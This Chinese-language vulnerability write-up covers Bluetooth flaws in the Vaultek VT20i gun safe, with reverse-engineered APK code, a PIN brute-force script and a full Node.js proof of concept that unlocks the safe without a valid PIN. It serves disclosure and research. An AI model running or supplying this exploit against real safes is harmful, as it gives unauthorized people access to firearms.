利用VT20i的漏洞通过蓝牙远程入侵你的枪支保险箱

利用VT20i的漏洞通过蓝牙远程入侵你的枪支保险箱

写在前面的话

VT20i是一款非常受欢迎的产品(亚马逊热销产品之一),它的作用是保护用户枪支的安全。在这篇文章中,我们将跟大家介绍如何利用Vaultek VT20i中的多个安全漏洞,这些漏洞包括CVE-2017-17435和CVE-2017-17436。我们将给出详细的PoC,而这些漏洞将允许我们通过发送特殊构造的蓝牙消息来解锁Vaultek VT20i枪支保险箱。

漏洞描述

  1. 有趣的漏洞-制造商的Android端应用程序允许他人无限制(不限次数)地尝试与保险箱进行配对。配对PIN码跟解锁PIN码是一样的,而这将允许攻击者通过暴力破解的方式获取配对PIN码,并最终解锁保险箱。
  2. 非常有趣的漏洞-CVE-20170-17436:Android端应用程序跟保险箱之间的通信是没有经过加密的,配对成功之后,应用程序会以明文的形式发送保险箱的PIN码。根据官方网站以及厂商宣传材料中的描述,这种通信信道使用了“最高级别的蓝牙加密“,而数据传输使用了AES256加密。但是,厂商的这种宣传明显不符合事实。AES256加密并不支持蓝牙LE标准,而且此前也没有出现过AES256应用到更高层级的案例。虽然AES128支持蓝牙LE,但厂商并没有使用AES128。如果没有采用加密的话,他人将能够通过窃听保险箱和应用程序之间的通信数据来获取密码。
  3. 简直不可思议-CVE-2017-17435:攻击者可在不知道解锁PIN码的情况下,通过特殊构造的蓝牙消息来远程解锁此型号产品线的任意枪支保险箱。手机端应用程序要求有效PIN码才可以操作保险箱,程序会要求用户输入PIN码并发送认证请求。但是,保险箱并不会对应用程序发送过来的PIN码进行验证,所以攻击者可以使用任意值来作为PIN码屏解锁枪支保险箱。

接下来,我们会跟大家详细介绍这些漏洞的技术细节。大家可以先观看下面给出的演示视频来了解漏洞的影响效果。

演示视频:https://youtu.be/1xrdwhisW-M

攻击非常简单

首先,我们需要获取用于跟保险箱通信的Android端APK文件【下载地址】。我们使用的是v2.0.1,这款APK的开发厂商似乎是一家中国公司,公司名为Youhone。打开App之后,初始界面会要求用户使用PIN码来连接保险箱。

用于配对的连接PIN码其实跟枪支保险箱的解锁PIN码是一样的。成功配对之后,我们就可以利用App来执行保险箱的解锁命令了。

接下来,我们需要确定是否可以成功对其进行暴力破解攻击。PIN码是长度为4-8位的数字值,由于这个密钥空间相对较小,所以我们可以直接使用脚本来进行爆破攻击(使用ADB来操作Android端应用)。在最理想的攻击场景中(密码长度为4个字符),密码空间为5^4,遍历完整个密码空间大约需要72分钟。

下面给出的是我们的Python脚本,它可以通过ADB来与手机进行交互,并不断输入密码组合。当脚本测试出了正确的PIN码之后,保险箱将会自动打开。

import os import itertools import time for combination in itertools.product(xrange(1,6),repeat=4):
  print ‘‘.join(map(str,combination))
  os.system("adb shell input touchscreen tap 600 600")
  time.sleep(5)
  os.system("adb shell input text"+ ‘ "‘ + ‘‘.join(map(str,combination)) + ‘"‘)
  time.sleep(1)
  os.system("adb shell input touchscreen tap 500 1100")
  time.sleep(1)
  os.system("adb shell input touchscreen tap 850 770")

厂商可以通过限制密码尝试请求或设置时间间隔来缓解这个漏洞所带来的影响。话虽如此,攻击者能用的方法可不只是暴力破解攻击这么简单。

逆向工程分析

Vaultek APK负责对保险箱进行配对和解锁,我们有两种方法来了解这些功能的运行机制:

  1. 识别APK中负责生成解锁命令的代码,并对代码进行静态分析。
  2. 捕捉发出的命令以及日志输出,并对其进行动态分析。

应用程序跟保险箱之间的通信使用的是低功耗蓝牙,关于该协议的内容可参考【这篇文档】。

数据包捕获

我们使用了Ubertooth【项目地址】来嗅探应用程序与保险箱之间的通信数据,并将捕捉到的数据记录在硬盘之中。

对捕捉到的数据包进行了分析测试之后,我们发现它并没有使用AES256加密,所有的控制命令都是以明文形式发送的。

接下来,我们就可以世界使用Android内置的蓝牙HCI日志了,关于如何使用这项功能(Android捕获对话信息),请参考【这篇文章】。

在捕捉到的数据包中,我们可以看到有关低功耗蓝牙GATT的对话信息,注意其中的0xB以及0xA handle。

现在,我们可以回到APK中查看这些数据Payload代表的是什么了。

APK代码分析

首先,我们可以使用apktooldex2jar来提取APK中的类文件,然后使用Luyten(Procyon反编译器的GUI版本)来审查反编译后的代码。

其中有一个名叫OrderUtilsVT20的类吸引了我们的注意,这个类中不仅包含了格式化的命令Payload代码,而且还包含了跟不同类型命令相关的变量。

    static {
        OrderUtilsVT20.PASSWORD = "12345678";
        OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
        OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
        OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
        OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
        OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
        OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
        OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
        OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
        OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
        OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
        OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
        OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
        OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
        OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
        OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };

}

不幸的是,这些值并不会直接显示在我们捕捉到的数据包中。在进行了进一步分析之后,我们发现这是因为应用程序以及保险箱会执行一种奇怪的编码来对Payload数据进行封装处理。除此之外,APK还会将已编码的Payload拆分成长度为20字节的数据块,这跟我们捕捉到的数据包所显示的格式是相匹配的。

编码函数如下所示:

if (!StringUtil.isVT20(s)) {}
        s = (String)(Object)new byte[array.length * 2 + 2];
        s[0] = true;
        s[s.length - 1] = -1;
        for (int i = 0; i < array.length; ++i) {
            final byte b = array[i];
            final byte b2 = array[i];
            s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
            s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
        }
        Label_0220: {
            if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
                int length = s.length;
                int n = 0;
                while (true) {
                    Label_0185: {
                        if (length > 20) {
                            break Label_0185;
                        }
                        array = new byte[length];
                        System.arraycopy(s, n * 20, array, 0, length);
                        int i = 0;
                    Label_0173_Outer:
                        while (true) {
                            this.SendData(array);
                            ++n;
                            while (true) {
                                try {
                                    Thread.sleep(10L);
                                    length = i;
                                    if (i == 0) {
                                        this.processNextSend();
                                        return;
                                    }
                                    break;
                                    array = new byte[20];
                                    System.arraycopy(s, n * 20, array, 0, 20);
                                    i = length - 20;
                                    continue Label_0173_Outer;

发现了这一点之后,我们就可以对编码过程进行逆向分析了,我们的解码函数如下所示:

function decodePayload(payload){
       var res = new Array();
       for(var i=1;i<payload.length-1;i=i+2){
           var tmp;
           tmpA = payload[i]-97;
           tmpB = payload[i+1]-97;
           tmpC = (tmpA<<4) + tmpB;
           res.push(tmpC);
       }
       return res;
}

使用这个解码函数来对捕捉到的Payload进行解码之后,我们就可以直接查看到应用程序发送给保险箱的控制命令了:

其中比较有意思的两个命令为getAuthor和openDoor。

下面给出的是getAuthor命令的代码:

   public static byte[] getAuthor(final String password) {
        if (password == null || password.length() <= 0) {
            return null;
        }
        System.out.println("获取授权码  " + password);
        setPASSWORD(password);
        (OrderUtilsPro.data = new byte[24])[0] = -46;
        OrderUtilsPro.data[1] = -61;
        OrderUtilsPro.data[2] = -76;
        OrderUtilsPro.data[3] = -91;
        setTime();
        OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
        OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
        setRandom();
        setDateLength(4);
        CRC();
        setPassWord();
        return OrderUtilsPro.data;

}

代码将会调用setPassWord方法,它将会把PIN码填充至getAuthor数据包的结尾。

   public static void setPASSWORD(final String s) {
        String password = s;
        Label_0062: {
            switch (s.length()) {
                default: {}
                case 4: {
                    password = "0000" + s;
                    break Label_0062;
                }
                case 7: {
                    password = "0" + s;
                    break Label_0062;
                }
                case 6: {
                    password = "00" + s;
                    break Label_0062;
                }
                case 5: {
                    password = "000" + s;
                }
                case 8: {
                    OrderUtilsPro.PASSWORD = password;
                }
            }
        }
    }
   
    public static void setPassWord() {
        for (int i = 0; i < 8; i += 2) {
            OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
        }
}

getAuthor命令的结构如下所示:

由于在解锁保险箱的过程中,APK发送的编程PIN码并没有经过任何的加密处理,所以这就导致了第二个漏洞的出现,即以明文格式传输PIN码。

上述结构中末尾部分的PIN码会在getAuthor命令中以明文形式发送,而保险箱并不会对getAuthor数据包中的PIN码进行校验,并且无论PIN 码值是什么,它都会返回一个正确的认证令牌。

保险箱针对getAuthor命令的响应信息中包含了一个认证令牌(位于前四个字节数据中),而它所返回的信息中还包含openDoor消息所需使用的数据。因此,我们只需要获取到认证令牌中的认证代码,然后直接使用openDoor命令来打开保险箱即可。

下面显示的是com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20中的操作代码:

switch (this.param) {
            default: {}
            case 41001: {
                System.out.println("获取授权码VT");
                this.author[0] = array[0];
                this.author[1] = array[1];
                this.author[2] = array[2];
                this.author[3] = array[3];
            }

openDoor命令格式如下,其中前四个字节为认证代码:

最简化的保险箱开启步骤如下所示:

PoC源码

下面给出的是可以用来打开Vaultek VT20i枪支保险箱的PoC源代码:

/*

Usage:

npm install noble

npm install split-buffer

node unlock.js

*/ var noble = require(‘noble‘); var split = require(‘split-buffer‘); var rawData = ["ThisIsWhere","TheRAWDataWouldGo"] function d2h(d) {

    var h = (+d).toString(16);

    return h.length === 1 ? ‘0‘ + h : h;

} function decodePayload(payload){

    var res = new Array();

    for(var i=1;i<payload.length-1;i=i+2){

        var tmp;

        tmpA = payload[i]-97;

        tmpB = payload[i+1]-97;

        tmpC = (tmpA<<4) + tmpB;

        res.push(tmpC);

    }

    return res;

} function encodePayload(payload){
    var res = new Array();
    res.push(0x01);
    for(var i=0;i<payload.length;i=i+1){
        var tmp;
        tmpA = payload[i];
        tmpB = (payload[i]>>4)+97;
        tmpC = (payload[i]&0xF)+97;
        res.push(tmpB);
        res.push(tmpC);
    }
    res.push(0xff);
    return res;
} function CRC(target){
    var tmp = 0;
    for(var i=0;i<16;i=i+1){
        tmp += target[i] & 0xFF     }
    var carray = new Array();
    carray.push(tmp&0xFF);
    carray.push((tmp&0xFF00)>>8);
    carray.push((tmp&0xFF0000)>>16);
    carray.push((tmp&0xFF000000)>>24);
    target[16] = carray.shift();
    target[17] = carray.shift();
    target[18] = carray.shift();
    target[19] = carray.shift();
} function scan(state){
    if (state === ‘poweredOn‘) {    // if the radio‘s on, scan for this service         noble.startScanning();
        console.log("[+] Started scanning");
    } else {                        // if the radio‘s off, let the user know:         noble.stopScanning();
        console.log("[+] Is Bluetooth on?");
    }
} var mcount = 0; function findMe (peripheral) {
    console.log(‘Discovered ‘ + peripheral.advertisement.localName);
    if (String(peripheral.advertisement.localName).includes("VAULTEK")){
      console.log(‘[+] Found ‘+peripheral.advertisement.localName)
    }
    else{
      return;
    }
    noble.stopScanning();
    peripheral.connect(function(error) {
        console.log(‘[+] Connected to peripheral: ‘ + peripheral.uuid);
        peripheral.discoverServices([‘0e2d8b6d8b5e91d5b3706f0a1bc57ab3‘],function(error, services) {
            targetService = services[0];
            targetService.discoverCharacteristics([‘ffe1‘], function(error, characteristics) {
                // got our characteristic                 targetCharacteristic = characteristics[0];
                targetCharacteristic.subscribe(function(error){});
                targetCharacteristic.discoverDescriptors(function(error, descriptors){
                    // write 0x01 to the descriptor                     console.log(‘[+] Writing 0x01 to descriptor‘);
                    var descB = new Buffer(‘01‘,‘hex‘);
                    descriptor = descriptors[0];
                    descriptor.writeValue(descB,function(error){});
                    console.log(‘[+] Fetching authorization code‘);
                    message = split(Buffer.from(rawData.shift(),‘hex‘),20);
                    for(j in message){
                        targetCharacteristic.write(message[j],true,function(error) {});
                    }
                });
                targetCharacteristic.on(‘data‘, function(data, isNotification){
                    if(mcount==1)
                    {
                        process.exit()
                    }
                    mcount = mcount + 1;
                    data = decodePayload(data);
                    message = new Buffer.from(rawData.shift(),‘hex‘);
                    message = decodePayload(message);
                    message[0] = data[0];
                    message[1] = data[1];
                    message[2] = data[2];
                    message[3] = data[3];
                    console.log("[+] Obtained Auth Code:");
                    console.log(d2h(data[0])+‘ ‘+d2h(data[1])+‘ ‘+d2h(data[2])+‘ ‘+d2h(data[3]));
                    CRC(message);
                    message = encodePayload(message)
                    message = new Buffer(message);
                    message = split(message,20);
                    console.log("[+] Unlocking Safe");
                    for(j in message){
                        targetCharacteristic.write(message[j],true,function(error) {});
                    }
                    return;
                });
            });
        });
    });
    return;
}
noble.on(‘stateChange‘, scan);  // when the BT radio turns on, start scanning noble.on(‘discover‘, findMe);

该脚本所执行的操作如下:

  1. 针对getAuthor和openDoor命令定义了两个模板Payload。
  2. 扫描枪支保险箱,定位服务,通过UUID实例化我们所需要交互的保险箱。
  3. 向客户端特征配置描述符中写入一个0x01值来启用通知。
  4. 在长度为20字节的数据块中发送我们getAuthor编码模板Payload来实现命令写入,然后等待获取响应信息。
  5. 解码响应信息,获取前四个字节的认证令牌,然后将获取到的认证代码填充至我们的openDoor命令模板之中。
  6. 向保险箱发送openDoor命令之后,我们将能够成功打开保险箱。

缓解方案

我们建议受影响的用户将Vaultek VT20i枪支保险箱切换到“旅行模式”,并禁用蓝牙功能。虽然“旅行模式”还会禁用掉距离传感器、键盘以及指纹扫描器,但是用户仍然可以使用钥匙来打开Vaultek VT20i枪支保险箱。

时间: 2024-10-05 20:56:55

利用VT20i的漏洞通过蓝牙远程入侵你的枪支保险箱的相关文章

利用docker 最新漏洞渗透--提取root 权限

一.事出 近期乌云漏洞平台等科技新闻,爆出Docker虚拟化 端口漏洞,本着热爱开源,实践动手的精神,我也去尝试了下,漏洞严重性确实很高,可以拿到root 登陆账户. 二.还原 2.1 通过扫描,我们找到了一些主机,下面是其中一台运行了docker 主机的服务器,并且开了ssh 端口 知道了22端口后,我们后面会利用此端口来使用root免密码登陆该主机. 2.2 我们可以利用2375 端口做什么? 看到上面的信息后,我们就知道,可以管理该主机上的docker 容器了,启动.停止.创建.下载镜像.

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=---------------------------------------------------------------------------=||=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=||=---------------------------

利用SQL注入漏洞登录后台的实现方法

利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的.  如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的.  前些天,网上传

利用java实现一个简单的远程监控程序

一般的远程监控软件都是用c或者c++等语言开发的,而使用java如何来实现相同的功能呢. 首先我们先介绍一下一个简单的远程监控程序的实现原理. 功能一,远程屏幕监视 (1) 必须要有监控端与被监控端,而且程序保持启动. (2) 被监控端获取本机的屏幕截屏发图给监控端. (3) 监控端在本地窗口中显示被监控端发送过来的图像. (4) (2)(3)步骤重复执行,这时在监控端即可实时监视到被监控端的桌面操作了. 功能二,远程控制 (1) 必须要有监控端与被监控端,而且程序保持启动. (2) 在监控端监

利用文件包含漏洞時那麼多../../../../是幹嘛用的?

利用文件包含漏洞時那麼多../../../../是幹嘛用的? 0x00 前言 小萌新剛開始刷BUUCTF,第一道題[HCTF 2018]WarmUp1就難到我了,知道得繞過,但是怎麼繞過一臉懵逼. 看了大佬的wp,說這是CVE-2018-12613改的代碼審計. 於是到FB查了下CVE-2018-12613,發現它驗證文件名的代碼和這道題真的一模一樣. 但是有個問題還是沒解決,和那篇大佬的wp給的exp一樣,爲什麼有那麼多../../../呢? 0x01 原因 看了評論區,有個朋友也在問這個問題

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

浅谈:APP有哪些常被黑客利用的安全漏洞

首先,说到APP的安全漏洞,身为程序猿的大家应该不陌生:如果抛开安卓自身开源的问题的话,其主要产生的原因就是开发过程中疏忽或者代码不严谨引起的.但这些责任也不能怪在程序猿头上,有时会因为BOSS时间催得紧等很多可观原因.所以本文会对 Android 系统的开源设计以及生态环境做一些浅谈. 1. 应用反编译漏洞:APK 包非常容易被反编译成可读文件,稍加修改就能重新打包成新的 APK.利用:软件破解,内购破解,软件逻辑修改,插入恶意代码,替换广告商 ID.建议:使用 ProGuard 等工具混淆代

分享:Android 应用有哪些常见,浅谈常被利用的安全漏洞?

首先,题主询问"Android 应用"的安全漏洞,说到 Android 应用的安全漏洞,如果抛开系统设计问题,其主要原因是开发过程当中疏漏引起的.但其实也并不能把这些责任都怪在程序猿头上.所以本答案也将会对 Android 系统设计以及生态环境做一些阐述.(如果想了解 Android 恶意软件的情况,那就需要另开题目了.) 1. 应用反编译 漏洞:APK 包非常容易被反编译成可读文件,稍加修改就能重新打包成新的 APK. 利用:软件破解,内购破解,软件逻辑修改,插入恶意代码,替换广告商

怎么修复网站漏洞之metinfo远程SQL注入漏洞修补

2018年11月23日SINE网站安全检测平台,检测到MetInfo最新版本爆出高危漏洞,危害性较大,影响目前MetInfo 5.3版本到最新的 MetInfo 6.1.3版本,该网站漏洞产生的主要原因是MetInfo的上传代码里的参数值没有进行安全过滤,导致上传路径这里进行伪造路径,并可以插入恶意的代码,以及特殊字符进行上传图片到MetInfo的后台. MetInfo也叫米拓企业网站建站系统,是目前大多数企业网站使用的一个建站系统,整个系统采用的是php+mysql数据库作为基础架构,支持多功